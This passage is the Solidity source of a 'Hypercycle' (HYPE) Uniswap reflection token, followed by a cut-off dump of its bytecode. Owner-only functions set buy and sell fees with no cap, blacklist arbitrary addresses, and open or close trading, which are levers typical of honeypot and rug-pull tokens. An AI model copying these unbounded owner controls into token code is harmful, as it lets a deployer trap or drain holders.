deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Hypercycle is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hypercycle"; string private constant _symbol = "HYPE"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 5; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 5; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x55a20951f13059A67dCCf9a2F4469E9Ce70821A3); address payable private _marketingAddress = payable(0xb017b72BBEdA94321dd43205A75258A2fE1f31e0); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 50000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461065c578063dd62ed3e14610685578063ea1644d5146106c2578063f2fde38b146106eb576101d7565b8063a2a957bb146105a2578063a9059cbb146105cb578063bfd7928414610608578063c3c8cd8014610645576101d7565b80638f70ccf7116100d15780638f70ccf7146104fa5780638f9a55c01461052357806395d89b411461054e57806398a5c31514610579576101d7565b80637d1db4a5146104675780637f2feddc146104925780638da5cb5b146104cf576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190612d6c565b610714565b005b34801561021157600080fd5b5061021a61083e565b6040516102279190612e3d565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612e95565b61087b565b6040516102649190612ef0565b60405180910390f35b34801561027957600080fd5b50610282610899565b60405161028f9190612f6a565b60405180910390f35b3480156102a457600080fd5b506102ad6108bf565b6040516102ba9190612f94565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612faf565b6108cf565b6040516102f79190612ef0565b60405180910390f35b34801561030c57600080fd5b506103156109a8565b6040516103229190612f94565b60405180910390f35b34801561033757600080fd5b506103406109ae565b60405161034d919061301e565b60405180910390f35b34801561036257600080fd5b5061036b6109b7565b6040516103789190613048565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190613063565b6109dd565b005b3480156103b657600080fd5b506103d160048036038101906103cc91906130bc565b610acd565b005b3480156103df57600080fd5b506103e8610b7f565b005b3480156103f657600080fd5b50610411600480360381019061040c9190613063565b610c50565b60405161041e9190612f94565b60405180910390f35b34801561043357600080fd5b5061043c610ca1565b005b34801561044a57600080fd5b50610465600480360381019061046091906130e9565b610df4565b005b34801561047357600080fd5b5061047c610e93565b6040516104899190612f94565b60405180910390f35b34801561049e57600080fd5b506104b960048036038101906104b49190613063565b610e99565b6040516104c69190612f94565b60405180910390f35b3480156104db57600080fd5b506104e4610eb1565b6040516104f19190613048565b60405180910390f35b34801561050657600080fd5b50610521600480360381019061051c91906130bc565b610eda565b005b34801561052f57600080fd5b50610538610f8c565b6040516105459190612f94565b60405180910390f35b34801561055a57600080fd5b50610563610f92565b6040516105709190612e3d565b60405180910390f35b34801561058557600080fd5b506105a0600480360381019061059b91906130e9565b610fcf565b005b3480156105ae57600080fd5b506105c960048036038101906105c49190613116565b61106e565b005b3480156105d757600080fd5b506105f260048036038101906105ed9190612e95565b611125565b6040516105ff9190612ef0565b60405180910390f35b34801561061457600080fd5b5061062f600480360381019061062a9190613063565b611143565b60405161063c9190612ef0565b60405180910390f35b34801561065157600080fd5b5061065a611163565b005b34801561066857600080fd5b50610683600480360381019061067e91906131d8565b61123c565b005b34801561069157600080fd5b506106ac60048036038101906106a79190613238565b611376565b6040516106b99190612f94565b60405180910390f35b3480156106ce57600080fd5b506106e960048036038101906106e491906130e9565b6113fd565b005b3480156106f757600080fd5b50610712600480360381019061070d9190613063565b61149c565b005b61071c61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107a0906132c4565b60405180910390fd5b60005b815181101561083a576001601060008484815181106107ce576107cd6132e4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061083290613342565b9150506107ac565b5050565b60606040518060400160405280600a81526020017f48797065726379636c6500000000000000000000000000000000000000000000815250905090565b600061088f61088861165e565b8484611666565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108dc848484611831565b61099d846108e861165e565b61099885604051806060016040528060288152602001613d8360289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061094e61165e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120b69092919063ffffffff16565b611666565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109e561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a69906132c4565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ad561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b59906132c4565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bc061165e565b73ffffffffffffffffffffffffffffffffffffffff161480610c365750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c1e61165e565b73ffffffffffffffffffffffffffffffffffffffff16145b610c3f57600080fd5b6000479050610c4d8161211a565b50565b6000610c9a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612186565b9050919050565b610ca961165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2d906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dfc61165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906132c4565b60405180910390fd5b8060168190555050565b60165481565b60116020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ee261165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600481526020017f4859504500000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052